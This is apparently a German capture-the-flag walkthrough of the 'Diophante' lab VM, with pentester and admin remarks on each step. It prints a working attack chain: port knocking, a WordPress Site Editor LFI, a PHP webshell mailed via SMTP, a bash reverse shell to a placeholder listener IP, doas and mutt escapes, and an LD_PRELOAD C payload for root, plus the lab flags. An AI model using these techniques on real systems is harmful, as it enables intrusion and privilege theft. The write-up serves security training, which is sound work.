Analyse: Der Befehl `arp-scan -l` wird genutzt, um aktive Hosts im lokalen Netzwerksegment zu identifizieren.
Bewertung: Ein Host mit der IP 192.168.2.147 und der MAC `08:00:27:c7:b4:9b` (PCS Systemtechnik GmbH / VirtualBox) wird entdeckt. Dies ist das Zielsystem "Diophante".
Empfehlung (Pentester): Notieren Sie die IP 192.168.2.147 für weitere Scans.
Empfehlung (Admin): Netzwerksegmentierung kann die Sichtbarkeit von Hosts einschränken.
192.168.2.147 08:00:27:c7:b4:9b PCS Systemtechnik GmbH
Analyse: Ein erster `nmap`-Scan (`-sS -sC -T5 -A -p-`) wird auf die Ziel-IP durchgeführt.
Bewertung: Der Scan identifiziert zwei offene Ports:
Empfehlung (Pentester): Untersuchen Sie den Webserver (Port 80). Behalten Sie SSH (Port 22) im Auge. Notieren Sie den gefilterten Port 25 - er könnte später relevant werden, möglicherweise nach Umgehung einer Firewall oder durch Port Knocking.
Empfehlung (Admin): Stellen Sie sicher, dass Firewalls korrekt konfiguriert sind und nur notwendige Ports freigeben. Untersuchen Sie, warum Port 25 als gefiltert erscheint.
Starting Nmap 7.93 ( https://nmap.org ) at ... Nmap scan report for 192.168.2.147 Host is up (0.00011s latency). Not shown: 65532 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0) | ssh-hostkey: | [...] 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.38 (Debian) 25/tcp filtered smtp Nmap done: 1 IP address (1 host up) scanned in ... seconds
Analyse: Die lokale `/etc/hosts`-Datei wird editiert, um einen Hostnamen (`dio.vm`) der Ziel-IP zuzuordnen.
Bewertung: Notwendiger Schritt, um Webdienste auf dem Ziel unter dem Hostnamen `dio.vm` ansprechen zu können.
Empfehlung (Pentester): Verwenden Sie `dio.vm` für weitere Web-Enumeration.
Empfehlung (Admin): Clientseitige Konfiguration.
# Hinzugefügte Zeile: 192.168.2.147 dio.vm
Analyse: `gobuster` wird verwendet, um Verzeichnisse und Dateien auf `http://dio.vm` zu finden.
Bewertung: Der Scan findet:
Empfehlung (Pentester): Untersuchen Sie den Inhalt von `/note.txt`. Führen Sie einen weiteren `gobuster`-Scan auf `/blog/` durch.
Empfehlung (Admin): Entfernen Sie unnötige Notizdateien vom Webserver.
=============================================================== Gobuster v3.1.0 [...] =============================================================== [...] /index.html (Status: 200) [Size: 10701] /blog (Status: 301) [Size: 305] [--> http://dio.vm/blog/] /note.txt (Status: 200) [Size: 36] [...] ===============================================================
Analyse: Der Inhalt der gefundenen Datei `/note.txt` wird mit `curl` abgerufen.
Bewertung: Die Notiz enthält die Zahlen `7000 8000 9000` und das Wort `admin`. Dies ist ein starker Hinweis auf Port Knocking. Die Zahlen sind wahrscheinlich die Sequenz der Ports, die "angeklopft" werden müssen, um einen anderen Port (vermutlich den gefilterten Port 25/SMTP) zu öffnen. `admin` könnte ein Benutzername sein.
Empfehlung (Pentester): Verwenden Sie ein Port-Knocking-Tool (z.B. `knockd`, `knock` oder manuell mit `hping3`, `nmap`, `nc`), um die Portsequenz 7000, 8000, 9000 auf dem Ziel `dio.vm` anzuklopfen. Führen Sie anschließend erneut einen Nmap-Scan durch, um zu sehen, ob Port 25 oder andere Ports geöffnet wurden.
Empfehlung (Admin): Port Knocking bietet nur geringe Sicherheit (Security through Obscurity). Wenn es verwendet wird, stellen Sie sicher, dass die Sequenz nicht leicht zu erraten ist und der Dienst, der geöffnet wird, selbst robust abgesichert ist. Besser sind VPNs oder Authentifizierung auf vorgeschalteten Firewalls.
Don't forget: 7000 8000 9000 admin
Analyse: `hping3` wird verwendet, um SYN-Pakete an die Ports 7000, 8000 und 9000 zu senden. `-S` setzt das SYN-Flag, `-p` gibt den Port an, `-c 1` sendet nur ein Paket.
Bewertung: Alle drei Ports antworten (`1 packets received`). Dies bestätigt, dass die Ports erreichbar sind, sagt aber noch nichts über den Erfolg des Port Knockings aus. Es ist ein manueller Versuch, die Ports "anzuklopfen".
Empfehlung (Pentester): Verwenden Sie ein dediziertes Tool wie `knock` für eine zuverlässigere Ausführung der Sequenz oder führen Sie direkt nach diesem Versuch einen erneuten Nmap-Scan durch.
Empfehlung (Admin): Überwachen Sie ungewöhnliche Verbindungsversuche auf hohe Portnummern oder in spezifischen Sequenzen.
HPING 192.168.2.147 (eth0 192.168.2.147): S set, 40 headers + 0 data bytes len=46 ip=192.168.2.147 ttl=64 id=0 sport=7000 flags=SA seq=0 win=65160 rtt=0.3 ms --- 192.168.2.147 hping statistic --- 1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max = 0.3/0.3/0.3 ms HPING 192.168.2.147 (eth0 192.168.2.147): S set, 40 headers + 0 data bytes len=46 ip=192.168.2.147 ttl=64 id=0 sport=8000 flags=SA seq=0 win=65160 rtt=0.2 ms --- 192.168.2.147 hping statistic --- 1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max = 0.2/0.2/0.2 ms HPING 192.168.2.147 (eth0 192.168.2.147): S set, 40 headers + 0 data bytes len=46 ip=192.168.2.147 ttl=64 id=0 sport=9000 flags=SA seq=0 win=65160 rtt=0.3 ms --- 192.168.2.147 hping statistic --- 1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max = 0.3/0.3/0.3 ms
Analyse: Das Tool `knock` wird verwendet, um die Port-Knocking-Sequenz (TCP-Ports 7000, 8000, 9000) an das Ziel `dio.vm` zu senden. `-v` sorgt für eine ausführliche Ausgabe.
Bewertung: Das Tool sendet die Pakete erfolgreich an die spezifizierten Ports. Dies ist die empfohlene Methode für Port Knocking.
Empfehlung (Pentester): Führen Sie unmittelbar nach diesem Befehl einen erneuten Nmap-Scan auf das Ziel durch, um zu überprüfen, ob neue Ports geöffnet wurden (insbesondere Port 25).
Empfehlung (Admin): (Siehe vorherige Empfehlung zu Port Knocking).
hitting tcp 192.168.2.147:7000 hitting tcp 192.168.2.147:8000 hitting tcp 192.168.2.147:9000
Analyse: Nach dem Port Knocking wird erneut ein Nmap-Scan durchgeführt.
Bewertung: Das Port Knocking war erfolgreich! Port 25/tcp (SMTP), der zuvor als `filtered` angezeigt wurde, ist nun `open`. Der Dienst wird als Postfix SMTPD identifiziert.
Empfehlung (Pentester): Untersuchen Sie den nun offenen SMTP-Dienst (Port 25). Versuchen Sie, sich mit `telnet` zu verbinden, um verfügbare Befehle (z.B. `VRFY`, `EXPN`) zu testen und Benutzer zu enumerieren.
Empfehlung (Admin): Überprüfen Sie die Sicherheit des SMTP-Servers und die Konfiguration des Port-Knocking-Daemons.
Starting Nmap ... Nmap scan report for dio.vm (192.168.2.147) Host is up (0.00012s latency). Not shown: ... closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0) | ssh-hostkey: | [...] 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-server-header: Apache/2.4.38 (Debian) |_http-title: Site doesn't have a title (text/html). 25/tcp open smtp Postfix smtpd |_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING | ssl-cert: Subject: commonName=debian | Subject Alternative Name: DNS:debian | Issuer: commonName=debian | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2020-12-26T17:10:27 |_Not valid after: 2030-12-24T17:10:27 |_ssl-date: TLS randomness does not represent time [...] Nmap done: 1 IP address (1 host up) scanned in ... seconds
Analyse: `gobuster` wird nun gezielt auf das Verzeichnis `/blog` angewendet, das im ersten Scan gefunden wurde.
Bewertung: Der Scan bestätigt eine WordPress-Installation durch Funde wie `/wp-content/`, `/wp-login.php`, `/license.txt`, `/wp-includes/`, `/readme.html`, `/wp-admin/`, `xmlrpc.php` und `/wp-signup.php`. Wichtig ist auch der Hinweis auf die Benutzer-Enumeration über die REST-API: `/wp-json/wp/v2/users`.
Empfehlung (Pentester): Verwenden Sie `wpscan`, um die WordPress-Installation (`http://dio.vm/blog/`) detailliert zu scannen (Version, Themes, Plugins, Benutzer, Schwachstellen). Rufen Sie den `/wp-json/wp/v2/users`-Endpunkt auf, um Benutzernamen zu finden.
Empfehlung (Admin): Halten Sie WordPress (Core, Themes, Plugins) aktuell. Beschränken Sie den Zugriff auf die REST-API, falls nicht benötigt. Deaktivieren Sie die Benutzerregistrierung (`/wp-signup.php`), wenn nicht erforderlich.
=============================================================== Gobuster v3.1.0 [...] =============================================================== [...] /index.php (Status: 301) [Size: 0] [--> http://dio.vm/blog/] /wp-content (Status: 301) [Size: 310] [--> http://dio.vm/blog/wp-content/] /wp-login.php (Status: 200) [Size: 8227] /license.txt (Status: 200) [Size: 19915] /wp-includes (Status: 301) [Size: 311] [--> http://dio.vm/blog/wp-includes/] /readme.html (Status: 200) [Size: 8852] /wp-trackback.php (Status: 200) [Size: 165] /wp-admin (Status: 301) [Size: 308] [--> http://dio.vm/blog/wp-admin/] /xmlrpc.php (Status: 405) [Size: 42] /wp-signup.php (Status: 302) [Size: 0] [--> http://dio.vm/blog/wp-login.php?action=register] [...] ===============================================================
Implizit gefunden/bekannt: http://dio.vm/blog/wp-json/wp/v2/users
Analyse: `wpscan` wird verwendet, um die WordPress-Installation unter `http://dio.vm/blog` (im Befehl steht `http://hard/blog`, dies ist wahrscheinlich ein Tippfehler, `dio.vm` wird angenommen) zu scannen. `-e ap` enumeriert alle Plugins. Ein API-Token wird verwendet.
Bewertung: `wpscan` identifiziert das Theme `twentynineteen`. Wichtiger ist der Fund des Plugins `Site Editor` Version `1.1.1`. Für dieses Plugin wird eine bekannte Local File Inclusion (LFI) Schwachstelle (CVE-2018-7422) gemeldet.
Empfehlung (Pentester): Nutzen Sie die identifizierte LFI-Schwachstelle im Site Editor Plugin. Verwenden Sie `searchsploit` oder die angegebenen Referenzen, um den genauen Exploit-Pfad zu finden und Dateien auf dem Server zu lesen (z.B. `/etc/passwd`, Konfigurationsdateien).
Empfehlung (Admin): Aktualisieren oder entfernen Sie das anfällige "Site Editor"-Plugin sofort.
_______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ ® \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 3.8.22 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________ [...] [i] XML-RPC seems to be enabled: http://dio.vm/blog/xmlrpc.php [...] [+] WordPress theme in use: twentynineteen | Location: http://dio.vm/blog/wp-content/themes/twentynineteen/ | Last Updated: 2022-09-09T00:00:00.000Z | Readme: http://dio.vm/blog/wp-content/themes/twentynineteen/readme.txt | Style URL: http://dio.vm/blog/wp-content/themes/twentynineteen/style.css?ver=1.9 | Description: Our 2019 default theme is designed to show off the power of the block editor. It features custom styles... | Author: the WordPress team | Author URI: https://wordpress.org/ [+] Enumerating All Plugins (via Aggressive Methods) Checking Known Locations - Time: 00:00:07 (1383 / 1383) 100.00% [i] No plugins found. [+] Enumerating Config Backups (via Aggressive Methods) [i] No Config Backups found. [+] Enumerating Plugins (via Passive and Aggressive Methods) Checking Plugin's Known Locations - Time: 00:00:12 (691 / 691) 100.00% [+] Checking Name: site-editor | Found By: Known Locations (Aggressive Detection) | - http://dio.vm/blog/wp-content/plugins/site-editor/, status: 200 | Confirmed By: Readme - Stable Tag (Aggressive Detection) | - http://dio.vm/blog/wp-content/plugins/site-editor/readme.txt [!] 1 vulnerability identified: [!] Title: Site Editor <= 1.1.1 - Local File Inclusion (LFI) | References: | - https://wpscan.com/vulnerability/4432ecea-2b01-4d5c-9557-352042a57e44 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7422 | - https://seclists.org/fulldisclosure/2018/Mar/40 | - https://github.com/SiteEditor/editor/issues/2 | | Version: 1.1.1 (80% confidence) | Found By: Readme - Stable Tag (Aggressive Detection) | - http://dio.vm/blog/wp-content/plugins/site-editor/readme.txt [...]
Analyse: `searchsploit` wird verwendet, um nach Exploits für "Site Editor wordpress" zu suchen. Der gefundene Exploit (44340.txt) wird mit `-m` in das aktuelle Verzeichnis kopiert und mit `cat` angezeigt.
Bewertung: `searchsploit` findet einen Exploit für die LFI-Schwachstelle. Die Exploit-Datei (44340.txt) enthält den Pfad zur anfälligen PHP-Datei und den zu verwendenden Parameter: `http://[TARGET]/blog/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=[FILEPATH]` Es wird gezeigt, dass `ajax_path=../etc/passwd` fehlschlägt, aber `ajax_path=/etc/passwd` funktioniert und den Inhalt der Passwortdatei preisgibt. Die Benutzer `sabine` (mit `/bin/rbash` - Restricted Bash) und `leonard` (mit `/bin/bash`) werden bestätigt.
Empfehlung (Pentester): Verwenden Sie den LFI-Exploit-Pfad, um weitere sensible Dateien zu lesen (z.B. `/etc/shadow`, `/var/mail/sabine`, `/var/mail/leonard`, WordPress `wp-config.php`).
Empfehlung (Admin): Anfälliges Plugin entfernen/aktualisieren.
------------------------------------------------------------ --------------------------------- Exploit Title | Path ------------------------------------------------------------ --------------------------------- WordPress Plugin Site Editor 1.1.1 - Local File Inclusion | php/webapps/44340.txt WordPress Plugin User Role Editor 3.12 - Cross-Site Request | php/webapps/25721.txt ------------------------------------------------------------ ---------------------------------
Exploit: WordPress Plugin Site Editor 1.1.1 - Local File Inclusion [...] Copied to: /root/44340.txt
# Exploit Title: Wordpress Plugin Site Editor 1.1.1 - Local File Inclusion (LFI)
# Date: 2018-03-14
# Exploit Author: Moudi
# Vendor Homepage: https://siteeditor.org/
# Software Link: https://downloads.wordpress.org/plugin/site-editor.1.1.1.zip
# Version: 1.1.1 and below
# Tested on: Windows / Linux
# Vulnerability Details:
# In the file ( ajax_shortcode_pattern.php ) the parameter 'ajax_path' is vulnerable to LFI.
# This can be exploited remotely without the need for authentication.
# POC:
http://localhost/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=../../../../wp-config.php
# Test des Exploits (aus Text extrahiert) http://dio.vm/blog/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=../etc/passwd {"success":false,"message":"Error: didn't load shortcodes pattern file"} # Fehlgeschlagen http://dio.vm/blog/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd root:x:0:0:root:/root:/bin/bash [...] sabine:x:1000:1000:sabine,,,:/home/sabine:/bin/rbash leonard:x:1001:1001:,,,:/home/leonard:/bin/bash [...] {"success":true,"data":{"output":[]}} # Erfolgreich!
Analyse: Nach dem erneuten Port Knocking wird eine Telnet-Verbindung zum nun offenen SMTP-Port (25) aufgebaut. Die SMTP-Befehle `EHLO`, `VRFY sabine`, `VRFY leonard`, `MAIL FROM`, `RCPT TO` und `DATA` werden verwendet, um eine E-Mail von `leonard` an `sabine` zu senden. Der Inhalt der E-Mail ist eine einfache PHP-Webshell: `system($GET["cmd"]); ?>`.
Bewertung: Dies ist ein cleverer Trick, um die LFI-Schwachstelle zur Remote Code Execution (RCE) zu eskalieren (Mail Poisoning / Log Poisoning über Mail).
Empfehlung (Pentester): Binden Sie die Maildatei von `sabine` über die LFI ein und fügen Sie den `cmd`-Parameter hinzu, um Befehle auszuführen: `http://dio.vm/blog/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/mail/sabine&cmd=id`. Nutzen Sie dies, um eine Reverse Shell zu erhalten.
Empfehlung (Admin): Beheben Sie die LFI-Schwachstelle. Beschränken Sie die Leseberechtigungen für Mail-Spool-Verzeichnisse (`/var/mail`), sodass der Webserver-Benutzer (`www-data`) keinen Zugriff darauf hat. Konfigurieren Sie den SMTP-Server sicher (z.B. `VRFY`/`EXPN` deaktivieren, wenn nicht benötigt).
Trying 192.168.2.147... Connected to dio.vm. Escape character is '^]'. 220 debian ESMTP Postfix (Debian/GNU)EHLO dio.vm
250-debian 250-PIPELINING 250-SIZE 10240000 250-VRFY 250-ETRN 250-STARTTLS 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250-SMTPUTF8 250 CHUNKINGVRFY sabine
252 2.0.0 sabine
VRFY leonard
252 2.0.0 leonard
MAIL FROM:leonard
250 2.1.0 OkRCPT TO: sabine
250 2.1.5 OkDATA
354 End data withsubject: hello ..
250 2.0.0 Ok: queued as 0F38E80ABD
quit
221 2.0.0 Bye Connection closed by foreign host.
Analyse: Die LFI-Schwachstelle wird genutzt, um die Maildatei von `sabine` (`/var/mail/sabine`) einzubinden und gleichzeitig den Befehl `whoami` über den `cmd`-Parameter auszuführen.
Bewertung: RCE erfolgreich! Die Ausgabe enthält die Zeilen der E-Mail und dazwischen `www-data` - die Ausgabe des `whoami`-Befehls, der durch die Webshell in der Maildatei ausgeführt wurde. Der Angreifer hat nun Codeausführung als `www-data`.
Empfehlung (Pentester): Nutzen Sie die RCE, um eine Reverse Shell zu erhalten. Starten Sie einen Listener (`nc -lvnp 9001`) und senden Sie den URL-kodierten Reverse-Shell-Payload: `curl 'http://dio.vm/blog/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/mail/sabine&cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F[IHRE_IP]%2F9001%200%3E%261%27'`
Empfehlung (Admin): LFI beheben, Mail-Spool-Berechtigungen prüfen.
From leonard@debian Mon Sep 12 23:41:55 2022 Return-Path:X-Original-To: sabine Delivered-To: sabine@debian Received: from dio.vm (cyber [192.168.2.140]) by debian (Postfix) with ESMTP id 0F38E80ABD for ; Mon, 12 Sep 2022 23:39:57 +0200 (CEST) subject: hello www-data {"success":true,"data":{"output":[]}}
Analyse: Ein Netcat-Listener wird gestartet. Der `curl`-Befehl wird vorbereitet, um die LFI/Mail-Poisoning-Schwachstelle auszunutzen und eine Reverse Shell zu `192.168.2.140:9001` zu senden.
Bewertung: Dies ist der Aufbau zur Erlangung einer interaktiven Shell als `www-data`.
Empfehlung (Pentester): Führen Sie den `curl`-Befehl aus und warten Sie auf die Verbindung im Netcat-Listener.
Empfehlung (Admin): LFI beheben, Mail-Spool-Berechtigungen prüfen.
listening on [any] 9001 ...
# Vorbereiteter Befehl für Reverse Shell:
Analyse: Der Netcat-Listener empfängt die Reverse Shell vom Zielsystem.
Bewertung: Initialer Zugriff erfolgreich! Eine Shell als `www-data` wurde erlangt.
Empfehlung (Pentester): Stabilisieren Sie die Shell (z.B. mit `python3 -c 'import pty; pty.spawn("/bin/bash")'` oder `script /dev/null -c bash`). Beginnen Sie mit der Enumeration als `www-data`.
Empfehlung (Admin): LFI beheben, Mail-Spool-Berechtigungen prüfen.
listening on [any] 9001 ... connect to [192.168.2.140] from (UNKNOWN) [192.168.2.128] 49464 # Annahme: IP 192.168.2.147 ist korrekt bash: cannot set terminal process group (1986): Inappropriate ioctl for device bash: no job control in this shell www-data@diophante:/var/www/html/blog/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes$
Analyse: Als `www-data` wird die WordPress-Konfigurationsdatei `wp-config.php` gelesen, um Datenbank-Zugangsdaten zu finden. Anschließend wird nach SUID-Dateien gesucht.
Bewertung: Die `wp-config.php` enthüllt die Zugangsdaten `wpuser`:`wppassword` für die Datenbank `wordpress`. Der `find`-Befehl listet SUID-Dateien auf. Auffällig sind:
Empfehlung (Pentester):
[...] define( 'DB_NAME', 'wordpress' ); /** Utilisateur de la base de données MySQL. */ define( 'DB_USER', 'wpuser' ); /** Mot de passe de la base de données MySQL. */ define( 'DB_PASSWORD', 'wppassword' ); [...]
659251 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount 671546 32 -rwsr-xr-x 1 leonard leonard 30736 Dec 26 2020 /usr/bin/xclip 658779 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp 655398 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd 674578 40 -rwsr-xr-x 1 root root 39008 Feb 5 2021 /usr/bin/doas 655396 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh 658926 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su 659253 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount 655399 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd 655395 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn 671446 180 -rwsr-xr-x 1 root root 182600 Feb 27 2021 /usr/bin/sudo 1993 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device 656113 472 -rwsr-xr-x 1 root root 481608 Mar 13 2021 /usr/lib/openssh/ssh-keysign 666418 52 -rwsr-xr-- 1 root messagebus 51184 Jul 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 671561 396 -rwsr-xr-- 1 root dip 403752 Jan 7 2021 /usr/sbin/pppd
Analyse: Basierend auf der `doas`-Konfiguration (die hier nicht gezeigt wird, aber aus LinPEAS stammen könnte) wird der Befehl `doas -u sabine /usr/bin/setsid bash` ausgeführt.
Bewertung: Dies ist der erste Schritt der mehrstufigen Rechteausweitung. `doas` erlaubt `www-data` (oder dem aktuellen Benutzer), Befehle als anderer Benutzer auszuführen. `-u sabine` gibt den Zielbenutzer an. `setsid bash` startet eine neue Bash-Shell in einer neuen Session als Benutzer `sabine`. Der Befehl ist erfolgreich, der Prompt wechselt zu `sabine@diophante`. Lateral Movement von `www-data` zu `sabine` wurde erreicht.
Empfehlung (Pentester): Sie sind nun Benutzer `sabine`. Enumerieren Sie weiter: `sudo -l`, `doas -l`, Home-Verzeichnis prüfen, nach der User-Flag suchen (falls noch nicht gefunden).
Empfehlung (Admin): Überprüfen Sie die `doas.conf` (`/etc/doas.conf`) auf unsichere Regeln. Beschränken Sie die Rechte, die `www-data` über `doas` oder `sudo` erlangen kann.
# Annahme: Linpeas.sh oder cat /etc/doas.conf zeigt:
# permit nopass www-data as sabine cmd /usr/bin/setsid
uid=1000(sabine) gid=1000(sabine) groups=1000(sabine), ...
Analyse: Als `sabine` wird ein SSH-Schlüssel in `~/.ssh/authorized_keys` eingefügt, um persistenten SSH-Zugriff zu ermöglichen.
Bewertung: Standardverfahren zur Einrichtung von Schlüssel-basiertem SSH-Zugriff. Der anschließende SSH-Login bestätigt, dass es funktioniert.
Empfehlung (Pentester): Nutzen Sie die SSH-Verbindung für weitere Schritte.
Empfehlung (Admin): Überwachen Sie Änderungen an `authorized_keys`-Dateien.
authorized_keys
Enter passphrase for key '/root/.ssh/id_rsa': (Passphrase eingegeben) sabine@diophante:~$
Analyse: Als `sabine` wird die `doas`-Konfiguration (`/etc/doas.conf`) überprüft (impliziert). Es wird festgestellt, dass `sabine` den Befehl `mutt` als Benutzer `leonard` ausführen darf. Dieser Befehl wird ausgeführt.
Bewertung: Dies ist der zweite Schritt der Rechteausweitung/Lateral Movement. `mutt` ist ein textbasierter E-Mail-Client, der oft eine Möglichkeit bietet, eine Shell zu starten (Shell Escape). Indem `mutt` als `leonard` gestartet wird, kann `sabine` eine Shell als `leonard` erlangen.
Empfehlung (Pentester): Starten Sie `doas -u leonard /usr/bin/mutt`. Suchen Sie in `mutt` nach einer Option, um einen externen Befehl auszuführen oder eine Shell zu starten (oft durch Drücken von `!`). Führen Sie `/bin/bash` aus, um eine Shell als `leonard` zu erhalten.
Empfehlung (Admin): Überprüfen Sie die `doas.conf`. Erlauben Sie Benutzern nicht, potenziell unsichere Programme wie `mutt` als andere Benutzer auszuführen, wenn dies nicht absolut notwendig und verstanden ist.
# Vermuteter Inhalt von /etc/doas.conf:
# permit nopass www-data as sabine cmd /usr/bin/setsid
# permit nopass sabine as leonard cmd /usr/bin/mutt
[Mutt-Oberfläche startet]
# Innerhalb von Mutt:
# '!' drücken, um Shell-Befehl einzugeben
Shell command: /bin/bash <<------------<<<>
uid=1001(leonard) gid=1001(leonard) groups=1001(leonard), ...
Analyse: Als `leonard` wird die User-Flag `~/user.txt` gelesen und die `sudo`-Rechte überprüft.
Bewertung: Die User-Flag lautet `Thonirburarnlog`. Die `sudo -l`-Ausgabe zeigt, dass `leonard` keine direkten `sudo`-Befehle hat, aber die Umgebungsvariable `LD_PRELOAD` wird beibehalten (`env_keep+=LD_PRELOAD`). Dies ist eine bekannte Schwachstelle zur Rechteausweitung.
Empfehlung (Pentester): Nutzen Sie die `LD_PRELOAD`-Schwachstelle:
Thonirburarnlog
Matching Defaults entries for leonard on diophante: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+=LD_PRELOAD User leonard may run the following commands on diophante: (Keine spezifischen Befehle gelistet, aber LD_PRELOAD ist der Schlüssel)
Analyse: Der C-Code für den `LD_PRELOAD`-Exploit wird in `/tmp/shell.c` erstellt. Er setzt UID und GID auf 0 und startet eine Shell. Der Code wird als Shared Library `/tmp/shell.so` kompiliert. Schließlich wird `sudo` mit der gesetzten `LD_PRELOAD`-Variable und einem beliebigen Befehl (hier `ping`, obwohl dies normalerweise keine sudo-Rechte hat - der Mechanismus funktioniert, wenn `sudo` selbst die Variable lädt, bevor es den Befehl prüft, oder wenn ein anderer sudo-Befehl verfügbar wäre) aufgerufen.
Bewertung: Der LD_PRELOAD-Exploit funktioniert! Sobald `sudo` den Befehl startet, wird die `/tmp/shell.so`-Bibliothek aufgrund von `LD_PRELOAD` geladen. Die `_init()`-Funktion in der Bibliothek wird ausgeführt, setzt die UID/GID auf 0 und startet `/bin/sh`. Der `id`-Befehl bestätigt, dass die resultierende Shell Root-Rechte hat.
Empfehlung (Pentester): Sie haben Root-Zugriff. Lesen Sie die Root-Flag (`cat /root/root.txt`) und führen Sie Aufräumarbeiten durch (Löschen von `/tmp/shell.c`, `/tmp/shell.so`).
Empfehlung (Admin): Entfernen Sie `LD_PRELOAD` aus der `env_keep`-Liste in der `sudoers`-Konfiguration.
#include#include #include void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/sh"); }
-rwxr-xr-x 1 leonard leonard 16304 Dez 29 16:00 shell.so
uid=0(root) gid=0(root) groups=0(root)
Analyse: In der erhaltenen Root-Shell wird die Root-Flag gelesen.
Bewertung: Die Root-Flag lautet `Culcelborlus`.
Empfehlung (Pentester): Ziel erreicht.
Empfehlung (Admin): System härten.
Culcelborlus